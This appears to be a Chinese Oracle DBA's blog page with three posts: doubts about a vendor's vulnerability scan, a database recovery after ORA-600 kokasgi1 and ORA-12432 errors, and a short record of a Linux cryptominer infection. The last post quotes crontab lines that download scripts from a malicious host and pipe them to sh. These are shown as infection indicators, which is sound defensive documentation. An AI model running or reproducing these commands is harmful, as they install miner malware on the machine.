安全漏洞扫描结果让人无语

发表于 2021 年 8 月 11 日 由 惜分飞

对于安全公司对oracle漏洞扫描的结果的准确性一直不太认可,前几天有客户linux 平台11.2.0.4的数据库打上了210420的patch,结果xx安全厂商扫描之后,依旧有大量安全漏洞,我随机对其中的两个高危漏洞进行分析,结果发现主要有:已经修复的漏洞继续报,漏洞对应数据库版本和实际数据库不符
数据库库的补丁信息
20210811190805

已经修复的漏洞依旧报
20210811190838
20210811190844
这里比较明显CVE-2018-3110漏洞oracle在18年7月份的补丁中已经修复,而我们这个是21年04月的补丁包含了该patch,已经修复了该问题
直接报漏洞和数据库版本不匹配
20210811190828
CVE-2016-1000031这个安全漏洞根本只是在12.2+版本中才有,他直接给客户的11204版本提示高危漏洞

发表在 Oracle安装升级 | 评论关闭

win环境报ora-600 kokasgi1处理

发表于 2021 年 7 月 29 日 由 惜分飞

又一例数据库启动报ORA-600 kokasgi1错误的恢复请求

SMON: enabling tx recovery
Database Characterset is AL32UTF8
Errors in file e:\app\administrator\diag\rdbms\orcl\orcl\trace\orcl_ora_3024.trc  (incident=44691):
ORA-00600: 内部错误代码, 参数: [kokasgi1], [], [], [], [], [], [], [], [], [], [], []
Incident details in: e:\app\administrator\diag\rdbms\orcl\orcl\incident\incdir_44691\orcl_ora_3024_i44691.trc
Errors in file e:\app\administrator\diag\rdbms\orcl\orcl\trace\orcl_ora_3024.trc:
ORA-00600: 内部错误代码, 参数: [kokasgi1], [], [], [], [], [], [], [], [], [], [], []
Errors in file e:\app\administrator\diag\rdbms\orcl\orcl\trace\orcl_ora_3024.trc:
ORA-00600: 内部错误代码, 参数: [kokasgi1], [], [], [], [], [], [], [], [], [], [], []
Error 600 happened during db open, shutting down database
USER (ospid: 3024): terminating the instance due to error 600
Instance terminated by USER, pid = 3024
ORA-1092 signalled during: ALTER DATABASE OPEN...
opiodr aborting process unknown ospid (3024) as a result of ORA-1092

通过咨询是由于根据某厂商给出来的建议对对oracle的user$的系统默认用户update等操作
rename-sys

通过分析现在库的用户情况
20210729084444
通过一系列处理之后绕过kokasgi1错误,open数据库报ORA-12432错误

SMON: enabling tx recovery
Database Characterset is AL32UTF8
No Resource Manager plan active
Errors in file e:\app\administrator\diag\rdbms\orcl\orcl\trace\orcl_ora_3268.trc:
ORA-12432: LBAC 错误: zllegbs:OCIStmtExecute
Errors in file e:\app\administrator\diag\rdbms\orcl\orcl\trace\orcl_ora_3268.trc:
ORA-12432: LBAC 错误: zllegbs:OCIStmtExecute
Error 12432 happened during db open, shutting down database
USER (ospid: 3268): terminating the instance due to error 12432
Instance terminated by USER, pid = 3268
ORA-1092 signalled during: alter database open...
opiodr aborting process unknown ospid (3268) as a result of ORA-1092

通过分析启动过程确认数据库在启动的时候访问lbacsys.lbac$pol表异常

PARSE ERROR #2:len=38 dep=1 uid=0 oct=3 lid=0 tim=37509085805630 err=942
select max(pol#) from lbacsys.lbac$pol
ORA-12432: LBAC 错误: zllegnp:OCIStmtExecute
ORA-12432: LBAC 错误: zllegnp:OCIStmtExecute

*** 2021-07-28 18:31:15.593
USER (ospid: 3512): terminating the instance due to error 12432

经过修改文件让数据库不在访问该表,数据库启动正常

SMON: enabling cache recovery
Successfully onlined Undo Tablespace 2.
Verifying file header compatibility for 11g tablespace encryption..
Verifying 11g file header compatibility for tablespace encryption completed
SMON: enabling tx recovery
Database Characterset is AL32UTF8
No Resource Manager plan active
replication_dependency_tracking turned off (no async multimaster replication found)
Starting background process QMNC
Wed Jul 28 19:52:59 2021
QMNC started with pid=32, OS id=2840 
Completed: alter database open

顺利导出数据,恢复完成

发表在 Oracle备份恢复 | 标签为 , , , , | 评论关闭

记录一种挖矿病毒现象

发表于 2021 年 7 月 28 日 由 惜分飞

最近有朋友遇到linux系统不行被注入了挖矿病毒,大概记录下存在问题
在/etc/passwd文件中有x用户

x:x:2001:2001::/home/x:/bin/bash

在root和x用户的crontab中有恶意执行任务

[root@localhost tmp]# crontab -u x -l
* * * * * /var/tmp/.systemd/.systemd
* * * * * /var/tmp/.update/.update
*/10 * * * * curl -fsSL http://pw.pwndns.pw/update.sh | sh -s uc
@reboot curl -fsSL http://pw.pwndns.pw/reboot.sh | sh
[root@localhost tmp]# crontab -l
* * * * * /var/tmp/.systemd/.systemd
*/5 * * * * curl -fsSL http://pw.pwndns.pw/root.sh | sh

在/var/tmp下面有.systemd和.update文件夹

[root@localhost tmp]# ls -lart /var/tmp/
drwxr-xr-x   2 x    tape   37 Jul 27 21:49 .systemd
drwxr-xr-x   2 x    tape   36 Jul 27 21:49 .update
发表在 Linux | 标签为 | 评论关闭